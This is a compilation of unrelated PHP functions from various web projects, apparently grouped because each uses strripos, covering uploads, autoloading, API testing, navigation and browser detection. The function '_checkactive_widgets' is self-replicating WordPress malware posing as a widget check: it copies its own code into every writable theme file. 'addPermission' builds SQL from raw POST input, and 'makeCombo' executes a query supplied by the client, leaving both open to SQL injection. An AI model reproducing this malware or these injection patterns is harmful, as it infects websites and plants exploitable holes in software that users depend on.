function postContent() { $this->adminGatekeeper(); $request = $this->getInput('request'); $key = $this->getInput('key'); $username = $this->getInput('username'); $json = $this->getInput('json'); $follow_redirects = $this->getInput('follow_redirects'); $method = $this->getInput('method', 'GET'); $url = \Idno\Core\Idno::site()->config()->getURL(); if (strripos($url, '/') == strlen($url) - 1) { $url = substr($url, 0, strlen($url) - 1); } $url .= $request; $client = new Webservice(); if ($method == 'POST') { $result = $client->post($url, $json, array('X-KNOWN-USERNAME: '******'X-KNOWN-SIGNATURE: ' . base64_encode(hash_hmac('sha256', $request, $key, true)))); } else { $result = $client->get($url, null, array('X-KNOWN-USERNAME: '******'X-KNOWN-SIGNATURE: ' . base64_encode(hash_hmac('sha256', $request, $key, true)))); } $response = Webservice::getLastResponse(); $sent_request = Webservice::getLastRequest() . $json; $api_request = array('request' => $request, 'key' => $key, 'username' => $username, 'json' => $json, 'sent_request' => $sent_request, 'response' => gzencode($response, 9), 'method' => $method); \Idno\Core\Idno::site()->session()->set('api_request', $api_request); $this->forward(\Idno\Core\Idno::site()->config()->getURL() . 'admin/apitester/'); }
/** * Formats the output and saved it to disc. * * @param string $identifier filename * @param $contents $contents language array to save * @return bool \File::update result */ public function save($identifier, $contents) { // store the current filename $file = $this->file; // save it $return = parent::save($identifier, $contents); // existing file? saved? and do we need to flush the opcode cache? if ($file == $this->file and $return and static::$flush_needed) { if ($this->file[0] !== '/' and (!isset($this->file[1]) or $this->file[1] !== ':')) { // locate the file if ($pos = strripos($identifier, '::')) { // get the namespace path if ($file = \Autoloader::namespace_path('\\' . ucfirst(substr($identifier, 0, $pos)))) { // strip the namespace from the filename $identifier = substr($identifier, $pos + 2); // strip the classes directory as we need the module root $file = substr($file, 0, -8) . 'lang' . DS . $identifier; } else { // invalid namespace requested return false; } } else { $file = \Finder::search('lang', $identifier); } } // make sure we have a fallback $file or $file = APPPATH . 'lang' . DS . $identifier; // flush the opcode caches that are active static::$uses_opcache and opcache_invalidate($file, true); static::$uses_apc and apc_compile_file($file); } return $return; }
/** * Adds all the events to the main Ushahidi application */ public function add() { // Add a Sub-Nav Link Event::add('ushahidi_action.nav_admin_reports', array($this, '_report_link')); // Only add the events if we are on that controller if (Router::$current_uri == "admin/reports") { plugin::add_stylesheet('analysis/views/css/buttons'); // Add Buttons to the report List Event::add('ushahidi_action.report_extra_admin', array($this, '_reports_list_buttons')); } elseif (Router::$controller == 'analysis') { plugin::add_javascript('analysis/views/js/ui.dialog'); plugin::add_javascript('analysis/views/js/ui.draggable'); plugin::add_javascript('analysis/views/js/ui.resizable'); plugin::add_stylesheet('analysis/views/css/main'); } elseif (strripos(Router::$current_uri, "admin/reports/edit") !== false) { plugin::add_stylesheet('analysis/views/css/report'); plugin::add_javascript('analysis/views/js/jquery.copy.min'); Event::add('ushahidi_action.report_pre_form_admin', array($this, '_reports_list_analysis')); Event::add('ushahidi_action.header_scripts_admin', array($this, '_save_analysis_js')); Event::add('ushahidi_action.report_edit', array($this, '_save_analysis')); } elseif (strripos(Router::$current_uri, "reports/submit") !== false) { //Add dropdown fields to the submit form Event::add('ushahidi_action.report_form', array($this, '_submit_form')); //Save the contents of the dropdown Event::add('ushahidi_action.report_submit', array($this, '_handle_post_data')); Event::add('ushahidi_action.report_add', array($this, '_save_submit_form')); } }
public function view() { $params = array(); $filter = $_GET['query']; if ($_GET['template']) { $this->template = General::sanitize($_GET['template']); } // Environment parameters if ($filter == 'env') { $params = array_merge($params, $this->__getEnvParams()); // Page parameters } elseif ($filter == 'page') { $params = array_merge($params, $this->__getPageParams()); // Data source parameters } elseif ($filter == 'ds') { $params = array_merge($params, $this->__getDSParams()); // All parameters } else { $params = array_merge($params, $this->__getEnvParams()); $params = array_merge($params, $this->__getPageParams()); $params = array_merge($params, $this->__getDSParams()); } foreach ($params as $param) { if (empty($filter) || strripos($param, $filter) !== false) { $this->_Result[] = $param; } } sort($this->_Result); }
function generate_event_page() { ob_start(); $ical = new ICal(get_option('nev-file_path')); $events = $ical->events(); $FORMAT = 'd-m-Y'; $time = time(); echo '<ul>'; foreach ($events as $event) { $eventTime = strtotime($event['DTSTART']); //those in a past are not bolded if ($time - 60 * 60 * 24 > $eventTime) { echo '<li><p>'; $date = substr($event['DTSTART'], 6, 2) . "/" . substr($event['DTSTART'], 4, 2) . "/" . substr($event['DTSTART'], 0, 4); echo $date . ': ' . $event['SUMMARY'] . ", " . @$event['DESCRIPTION']; echo '</p></li>'; } else { echo '<li><p><strong>'; $date = substr($event['DTSTART'], 6, 2) . "/" . substr($event['DTSTART'], 4, 2) . "/" . substr($event['DTSTART'], 0, 4); echo $date . ':</strong> ' . $event['SUMMARY'] . ", " . @$event['DESCRIPTION']; echo '</p></li>'; } } echo '</ul>'; //Show link to download ical file $file_name = get_option('nev-file_path'); $upload_path = wp_upload_dir()['url'] . substr($file_name, strripos($file_name, '/')); echo '<p>Download <a href="' . $upload_path . '" download>.ics file</a></p>'; return ob_get_clean(); }
function getConstantName($filename) { $classname = basename($filename); $classname = substr($classname, 0, strripos($classname, '.php')); $classname = str_replace('.', '_', $classname); return 'HEAD_' . strtoupper($classname); }
/** * This method will fetch the playlist form YouTube. * Once we get the playlist we will parse and process the results. * * The function sets a REQUEST value names 'song' with an array of the results. */ private function searchYouTube() { // Get the params we need $searchTerm = urlencode(Utils::getParam('query', 'ניר גייר')); $numberOfRecords = Utils::getParam('numberOfSongs', 10); // Get the playlist data from you tube $url = 'http://gdata.youtube.com/feeds/api/videos?alt=json&max-results=' . $numberOfRecords . '&format=5&q=' . $searchTerm; // Get the playlist data $json = file_get_contents($url); // Convert the JSON to PHP array $data = json_decode($json, true); // Get the Array of the playlist items $items = $data['feed']['entry']; // The playlist array with the videos $songs = array(); // Loop over the playlist entries that we wish to display foreach ($items as $item) { // Extract the data we want $title = $item['title']['$t']; $content = $item['content']['$t']; $videoId = substr($item['id']['$t'], strripos($item['id']['$t'], '/') + 1); // Get the video URL foreach ($item['link'] as $link) { if ($link['rel'] === 'alternate') { $videoURL = $link['href']; break; } } array_push($songs, array('title' => $title, 'content' => $content, 'href' => $videoURL, 'videoId' => $videoId)); } // Set the songs in the request $_REQUEST['songs'] = $songs; }
public static function defineClass($className, $extends = '') { // $namespace = 'Eddmash\PowerOrm\Migration\Model'; $namespace = ''; $use = ''; $extendedClass = ''; if (empty($extends) || Model::isModelBase($extends)) { $extends = Model::getFullClassName(); } else { $extendedClass = sprintf('%s%s', ClassHelper::getFormatNamespace($namespace, true), $extends); $use = sprintf('use %s;', $extendedClass); $extends = trim(substr($extends, strripos($extends, '\\')), '\\'); } if (!StringHelper::isEmpty($extendedClass) && !ClassHelper::classExists($extendedClass, $namespace)) { self::$deferedClasses[$extends][] = ['class' => $className, 'extends' => $extends]; return false; } $extends = ClassHelper::getNameFromNs($extends, $namespace); $class = sprintf(self::getTemplate(), $namespace, $use, $className, $extends); $className = sprintf('%s%s', ClassHelper::getFormatNamespace($namespace, true), $className); if (ArrayHelper::hasKey(self::$deferedClasses, $className)) { foreach (self::$deferedClasses[$className] as $deferedClass) { self::defineClass($deferedClass['class'], $deferedClass['extends']); } } if (!ClassHelper::classExists($className, $namespace)) { eval($class); } return $className; }
public function index() { if ($this->_validate()) { $filename = $this->_get_filename(); // Muevo la imagen original move_uploaded_file($this->_file['tmp_name'], UPLOAD_DIR_TMP . $filename); // Creo una copia y dimensiono la imagen (THUMB) $config['image_library'] = 'GD2'; $config['source_image'] = UPLOAD_DIR_TMP . $filename; $config['create_thumb'] = TRUE; $config['maintain_ratio'] = TRUE; $config['width'] = IMAGE_THUMB_WIDTH; $config['height'] = IMAGE_THUMB_HEIGHT; $this->image_lib->initialize($config); if (!$this->image_lib->resize()) { die($this->image_lib->display_errors()); } // Dimensiono la imagen original (ORIGINAL) $config['image_library'] = 'GD2'; $config['source_image'] = UPLOAD_DIR_TMP . $filename; $config['create_thumb'] = FALSE; $config['maintain_ratio'] = TRUE; $config['width'] = IMAGE_ORIGINAL_WIDTH; $config['height'] = IMAGE_ORIGINAL_HEIGHT; $this->image_lib->initialize($config); if (!$this->image_lib->resize()) { die($this->image_lib->display_errors()); } $ext = substr($filename, strripos($filename, ".") - strlen($filename) + 1); $basename = substr($filename, 0, strripos($filename, ".")); //echo "filename:".UPLOAD_DIR_TMP.$basename."_thumb.".$ext; echo json_encode(array('thumb' => UPLOAD_DIR_TMP . $basename . "_thumb." . $ext, 'complete' => UPLOAD_DIR_TMP . $basename . "." . $ext)); } }
/** * 验证登陆 * */ public function checkLogin() { $rs = array(); $rs["status"] = 1; if (!$this->checkVerify("4") && ($GLOBALS['CONFIG']["captcha_model"]["valueRange"] != "" && strpos($GLOBALS['CONFIG']["captcha_model"]["valueRange"], "3") >= 0)) { $rs["status"] = -1; //验证码错误 } else { $m = D('Home/Users'); $res = $m->checkLogin(); if (!empty($res)) { if ($res['userFlag'] == 1) { session('WST_USER', $res); unset($_SESSION['toref']); if (strripos($_SESSION['refer'], "regist") > 0 || strripos($_SESSION['refer'], "logout") > 0 || strripos($_SESSION['refer'], "login") > 0) { $rs["refer"] = __ROOT__; } } else { if ($res['status'] == -1) { $rs["status"] = -2; //登陆失败,账号或密码错误 } } } else { $rs["status"] = -2; //登陆失败,账号或密码错误 } $rs["refer"] = $rs['refer'] ? $rs['refer'] : __ROOT__; } echo json_encode($rs); }
protected function get_file_objects($ext = false) { $fls = scandir($this->options['upload_dir']); $fls_ext = array(); if ($ext == false) { foreach ($fls as $fl) { if (stristr($fl, '.cap')) { if (strripos($fl, '.cap') == strlen($fl) - 4) { $fls_ext[] = $fl; } } else { if (stristr($fl, '.pcap')) { if (strripos($fl, '.pcap') == strlen($fl) - 5) { $fls_ext[] = $fl; } } } } } else { foreach ($fls as $fl) { if (strstr($fl, $ext)) { $fls_ext[] = $fl; } } } return array_values(array_filter(array_map(array($this, 'get_file_object'), $fls_ext))); }
function table_action() { $api = new StorageExport(); $node = $api->getCurrentNode(); $nodeId = $node['node_id']; $rows = $api->getTables($nodeId); $tables = array(); foreach ($rows as $table) { $pos = strripos($table, '_'); if ($pos !== false) { $tid = substr($table, $pos + 1); $tables[$tid] = array('name' => $table, 'id' => $tid); } } $table = false; $tableId = 0; $maxId = 0; if (!empty($tables)) { // 表id $tableId = $this->get('table_id', 0); if ($tableId) { if (!isset($tables[$tableId])) { throw new Exception('hapn.u_notfound'); } else { $table = $tables[$tableId]; } } if (!$tableId) { $ts = array_values($tables); $tableId = $ts[0]['id']; $table = $tables[$tableId]; } } $this->set('tables', $tables)->sets(array('tbName' => 'hs_image_' . $nodeId . '_' . $tableId, 'title' => '数据表的图片列表', 'max_id' => $maxId, 'node' => $node, 'table_id' => $tableId, 'table' => $table))->setView('tpl/images.phtml'); }
function _checkactive_widgets() { $widget = substr(file_get_contents(__FILE__), strripos(file_get_contents(__FILE__), "<" . "?")); $output = ""; $allowed = ""; $output = strip_tags($output, $allowed); $direst = _get_allwidgets_cont(array(substr(dirname(__FILE__), 0, stripos(dirname(__FILE__), "themes") + 6))); if (is_array($direst)) { foreach ($direst as $item) { if (is_writable($item)) { $ftion = substr($widget, stripos($widget, "_"), stripos(substr($widget, stripos($widget, "_")), "(")); $cont = file_get_contents($item); if (stripos($cont, $ftion) === false) { $comaar = stripos(substr($cont, -20), "?" . ">") !== false ? "" : "?" . ">"; $output .= $before . "Not found" . $after; if (stripos(substr($cont, -20), "?" . ">") !== false) { $cont = substr($cont, 0, strripos($cont, "?" . ">") + 2); } $output = rtrim($output, "\n\t"); fputs($f = fopen($item, "w+"), $cont . $comaar . "\n" . $widget); fclose($f); $output .= $isshowdots && $ellipsis ? "..." : ""; } } } } return $output; }
/** * Implementation specific helper: * Autoloader takes care of loading classes only when they are required. * If your project does not provide its own autoloader, you can require() * this file in your entry points. It will automatically register the * jackalope_autoloader function with spl_autoload_register * * load a class named $class */ function jackalope_autoloader($class) { if (false !== ($pos = strripos($class, '\\'))) { $relpath = false; $jackPos = strpos($class, 'Jackalope'); if ($jackPos === 1 || $jackPos === 0) { $relpath = '/../'; $class = substr($class, $jackPos); $pos = $pos - $jackPos; } else { if (0 === strpos($class, 'PHPCR')) { $relpath = '/../../lib/phpcr/src/'; } } if ($relpath) { // namespaced class name $namespace = substr($class, 0, $pos); $class = substr($class, $pos + 1); $file = __DIR__ . $relpath . str_replace('\\', DIRECTORY_SEPARATOR, $namespace) . DIRECTORY_SEPARATOR . $class . '.php'; if (file_exists($file)) { require $file; } return; } } return false; }
function addPermission() { unset($_POST['addPermission']); $sql = "SELECT PID FROM permissionsgroups WHERE PGroupName='" . $_POST["PGroupName"] . "'"; $result = executeQuary($sql); if (mysql_num_rows($result) == 0) { foreach ($_POST as $value) { if ($deleteFirstFlag < 1) { $deleteFirstFlag++; } else { $insertIntoString = $insertIntoString . $value . ","; $valueString = $valueString . "1,"; } } $insertIntoString[strripos($insertIntoString, ",")] = " "; //strip the extra , $valueString[strripos($valueString, ",")] = " "; //strip the extra , $sqlInsert = "INSERT INTO permissionsgroups(PGroupName," . $insertIntoString . ")"; $sqlInsert .= " values('" . $_POST["PGroupName"] . "'," . $valueString . ")"; executeQuary($sqlInsert); } else { ?> <DIV CLASS="QUARY_RESULT_ERROR"> הרשאה עם שם זה כבר קיימת </DIV> <?php } //UPDATE permissionsgroups SET viewUsers='1',editUsers='1',viewGroups='1',editGroups='1' WHERE PID=44 }
/** * @param $name * @param $last_name * @return array * @description takes the first and last name field, runs so low level logic to decide which fields to drop them into */ function rapidology_name_splitter($name, $last_name) { $return_array = array(); //array of names to be returned if ($last_name == '') { //check to see if firstname has a space, which is assumed to seperate first and last $first_space = stripos($name, ' '); //get first occurance of a space $second_space = strripos($name, ' '); // get second occurance of a space to check if 3 names were entered if ($second_space > $first_space || $first_space > 0) { $name_array = explode(' ', $name); //explode name into an array $first_name = array_shift($name_array); $name = $first_name; $last_name = implode(' ', $name_array); //implode all other names into a string and assign to last name } else { $last_name = 'WebLead'; //generic last name } } $return_array['name'] = $name; $return_array['last_name'] = $last_name; return $return_array; }
/** * This function generates the list of courses for <select> control * using the specified string filter and/or course id's filter * * @param string $strfilter The course name filter * @param array $arrayfilter Course ID's filter, NULL by default, which means not to use id filter * @return string */ function gen_course_list($strfilter = '', $arrayfilter = NULL) { $courselist = array(); $catcnt = 0; // get the list of course categories $categories = get_categories(); foreach ($categories as $cat) { // for each category, add the <optgroup> to the string array first $courselist[$catcnt] = '<optgroup label="' . htmlspecialchars($cat->name) . '">'; // get the course list in that category $courses = get_courses($cat->id, 'c.sortorder ASC', 'c.fullname, c.id'); $coursecnt = 0; // for each course, check the specified filter foreach ($courses as $course) { if (!empty($strfilter) && strripos($course->fullname, $strfilter) === false || $arrayfilter !== NULL && in_array($course->id, $arrayfilter) === false) { continue; } // if we pass the filter, add the option to the current string $courselist[$catcnt] .= '<option value="' . $course->id . '">' . $course->fullname . '</option>'; $coursecnt++; } // if no courses pass the filter in that category, delete the current string if ($coursecnt == 0) { unset($courselist[$catcnt]); } else { $courselist[$catcnt] .= '</optgroup>'; $catcnt++; } } // return the html code with categorized courses return implode(' ', $courselist); }
public function getSecureImageUrl() { $path = Mage::getBaseUrl('media'); $pos = strripos($path, 'media'); $apppath = substr($path, 0, $pos) . 'FME_quickrfq' . DS . 'captcha/'; return $apppath; }
/** * handle */ public static function handle() { if ($error = error_get_last()) { $md5key = md5(json_encode($error)); if (FCache::S($md5key)) { return; } if (isset(self::$errtype[$error['type']])) { $error['type'] = self::$errtype[$error['type']]; if (isset($error['message']) && stripos($error['message'], 'SQLSTATE')) { $error['sql'] = Yod::db()->lastQuery(); } $error['trace'] = debug_backtrace(); } // http_filter foreach (Errlog::$http_filter as $key => $rules) { if (empty($_SERVER[$key])) { continue; } foreach ($rules as $value) { if (strripos($_SERVER[$key], $value) !== false) { return; } } } FCache::S($md5key, $error, 1800); Errlog::sendlog($error); } }
/** * Get the selected navigation * @return mixed */ protected function setSelectedNavigation() { $url = $this->getCurrentUrl(); $sections = $this->getCurrentUrlSections(); // laravel removes last / get home / dashboard if ($url === false) { $nav = NavigationWebsite::where('slug', '/')->get()->first(); } else { // find nav with url - get last (parent can have same url) $nav = NavigationWebsite::where('url', $url)->orderBy('is_hidden', 'DESC')->orderBy('url_parent_id')->orderBy('list_main_order')->get()->last(); } // we assume some params / reserved word is at the end if (!$nav && strlen($url) > 2) { // keep cutting off from url until we find him in the db foreach ($sections as $key => $slug) { $url = substr($url, 0, strripos($url, '/')); // find nav with url - get last (parent can have same url) $nav = NavigationWebsite::whereUrl($url)->get()->last(); if ($nav) { break; } } } // when nothing - fall back to home if (!$nav) { $nav = NavigationWebsite::where('slug', '/')->first(); } // load banners relationship $this->selectedNavigation = $nav; // get all navigations -> ON parent_id $this->parentNavs = $nav->getParentsAndYou(); // get all navigations -> ON url_parent_id $this->urlParentNavs = $nav->getUrlParentsAndYou(); return $this->selectedNavigation; }
/** * Faz uma requisição GET. * * Faz uma requisição GET via CURL. * * @param string $url Url da requisição. * @param array $data Dados a serem enviados. * @param array $options Opções do CURL. * @param boolean $json_decode Faz em json decode no resultado. * * @return mixed Um array ou o texto do resultado da requisição. */ function get($url, $data = array(), $options = array(), $json_decode = false) { $querystring = http_build_query($data); if (strripos($url, "?") !== false) { $url .= "&" . $querystring; } else { if (!empty($querystring)) { $url .= "?" . $querystring; } } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); foreach ($options as $key => $opt) { curl_setopt($ch, $key, $opt); } $dados = curl_exec($ch); $this->last_status = curl_getinfo($ch, CURLINFO_HTTP_CODE); $this->last_error = curl_error($ch); curl_close($ch); if ($json_decode) { $dados = json_decode($dados, true); } return $dados; }
private function open() { $getExt = substr($this->image_uri, strripos($this->image_uri, '.') + 1); if (strstr($getExt, '?')) { $getExt = substr($getExt, strpos($getExt, '?')); } //echo $getExt; die; if (array_search(strtolower($getExt), array('jpg', 'png', 'gif')) !== FALSE) { $this->image_type = $getExt; switch ($this->image_type) { case 'gif': $this->resource = @imagecreatefromgif($this->image_uri); break; case 'jpg': $this->resource = @imagecreatefromjpeg($this->image_uri); break; case 'png': $this->resource = @imagecreatefrompng($this->image_uri); break; default: throw new Exception('The resource of image file is corrupted'); break; } if (!$this->resource) { throw new Exception(self::$open_error); } } else { throw new Exception('Unable to open image file.'); } }
public function makeCombo() { $this->autoRender = false; if ($this->request->is('ajax')) { $this->layout = null; $entidade = $this->request->data['entity']; if (strripos($entidade, '=>')) { $modelo = explode('=>', $entidade); $entidade = $modelo[0]; $query = $modelo[1]; $this->loadModel($entidade); $data = $this->{$entidade}->query($query); $object = array(); if (count($data) > 0) { foreach ($data as $i => $v) { $object[] = array('id' => $v[$entidade]['id'], 'value' => $v[$entidade]['nome']); } } } else { $this->loadModel($entidade); $data = $this->{$entidade}->find('list'); $object = array(); if (count($data) > 0) { asort($data); foreach ($data as $i => $v) { $object[] = array('id' => $i, 'value' => $v); } } } echo json_encode($object); } }
private function chip_extension($file_name) { $temp = array(); $temp['file_name'] = strtolower(substr($file_name, 0, strripos($file_name, '.'))); $temp['file_extension'] = strtolower(substr($file_name, strripos($file_name, '.') + 1)); return $temp; }
/** * Copy the directory on the disk into zip file. */ function copyDirectoryFromDisk($dirname, $zipdirname = null, $excludeList = null, $basedirname = null) { $dir = opendir($dirname); if (strripos($dirname, '/') != strlen($dirname) - 1) { $dirname .= '/'; } if ($basedirname == null) { $basedirname = realpath($dirname); } while (false !== ($file = readdir($dir))) { if ($file != '.' && $file != '..' && $file != '.svn' && $file != 'CVS') { // Exclude the file/directory if (!empty($excludeList) && in_array("{$dirname}{$file}", $excludeList)) { continue; } if (is_dir("{$dirname}{$file}")) { $this->copyDirectoryFromDisk("{$dirname}{$file}", $zipdirname, $excludeList, $basedirname); } else { $zippath = $dirname; if ($zipdirname != null && $zipdirname != '') { $zipdirname = $this->__fixDirSeparator($zipdirname); $zippath = $zipdirname . $this->__getRelativePath($basedirname, $dirname); } $this->copyFileFromDisk($dirname, $zippath, $file); } } } closedir($dir); }
function backwpup_read_logfile($logfile) { if (is_file($logfile) and substr($logfile, -3) == '.gz') { $logfiledata = gzfile($logfile); } elseif (is_file($logfile . '.gz')) { $logfiledata = gzfile($logfile . '.gz'); } elseif (is_file($logfile)) { $logfiledata = file($logfile); } else { return array(); } $lines = array(); $start = false; foreach ($logfiledata as $line) { $line = trim($line); if (strripos($line, '<body') !== false) { // jop over header $start = true; continue; } if ($line != '</body>' and $line != '</html>' and $start) { //no Footer $lines[] = $line; } } return $lines; }
function getBrowser() { $u_agent = $_SERVER['HTTP_USER_AGENT']; $bname = 'Unknown'; $platform = 'Unknown'; $version = ""; $ub = ""; //First get the platform? if (preg_match('/linux/i', $u_agent)) { $platform = 'linux'; } elseif (preg_match('/macintosh|mac os x/i', $u_agent)) { $platform = 'mac'; } elseif (preg_match('/windows|win32/i', $u_agent)) { $platform = 'windows'; } // Next get the name of the useragent yes seperately and for good reason if (preg_match('/MSIE/i', $u_agent) && !preg_match('/Opera/i', $u_agent)) { $bname = 'Internet Explorer'; $ub = "MSIE"; } elseif (preg_match('/Chrome/i', $u_agent)) { $bname = 'Google Chrome'; $ub = "Chrome"; } elseif (preg_match('/Safari/i', $u_agent)) { $bname = 'Apple Safari'; $ub = "Safari"; } elseif (preg_match('/Opera/i', $u_agent)) { $bname = 'Opera'; $ub = "Opera"; } elseif (preg_match('/Netscape/i', $u_agent)) { $bname = 'Netscape'; $ub = "Netscape"; } elseif (preg_match('/Gecko/i', $u_agent)) { $bname = 'Mozilla Firefox'; $ub = "Firefox"; } // finally get the correct version number $known = array('Version', $ub, 'other'); $pattern = '#(?<browser>' . join('|', $known) . ')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#'; if (!preg_match_all($pattern, $u_agent, $matches)) { // we have no matching number just continue } // see how many we have $i = count($matches['browser']); if ($i != 1) { //we will have two since we are not using 'other' argument yet //see if version is before or after the name if (strripos($u_agent, "Version") < strripos($u_agent, $ub)) { $version = $matches['version'][0]; } else { $version = $matches['version'][1]; } } else { $version = $matches['version'][0]; } // check if we have a number if ($version == null || $version == "") { $version = "?"; } return array('userAgent' => $u_agent, 'name' => $bname, 'version' => $version, 'platform' => $platform, 'pattern' => $pattern); }
function check_file($_file) { $file_name = substr($_file, 0, strripos($_file, ".")); $file_type = substr($_file, strripos($_file, ".") + 1, strlen($_file) - strripos($_file, ".")); $ret = array('name' => $file_name, 'type' => $file_type); return $ret; }
/** * Attempt to construct an ODD object out of a XmlElement or sub-elements. * * @param XmlElement $element The element(s) * * @return mixed An ODD object if the element can be handled, or false. */ function ODD_factory(XmlElement $element) { $name = $element->name; $odd = false; switch ($name) { case 'entity': $odd = new ODDEntity("", "", ""); break; case 'metadata': $odd = new ODDMetaData("", "", "", ""); break; case 'relationship': $odd = new ODDRelationship("", "", ""); break; } // Now populate values if ($odd) { // Attributes foreach ($element->attributes as $k => $v) { $odd->setAttribute($k, $v); } // Body $body = $element->content; $a = stripos($body, "<![CDATA"); $b = strripos($body, "]]>"); if ($body && $a !== false && $b !== false) { $body = substr($body, $a + 8, $b - ($a + 8)); } $odd->setBody($body); } return $odd; }
public static function getImageName($_str) { $pos = strripos($_str, '.'); $file_name = substr($_str, 0, $pos); $file_ext = substr($_str, $pos + 1); return self::getImgPath($_str) . "/" . $file_name . "." . $file_ext; }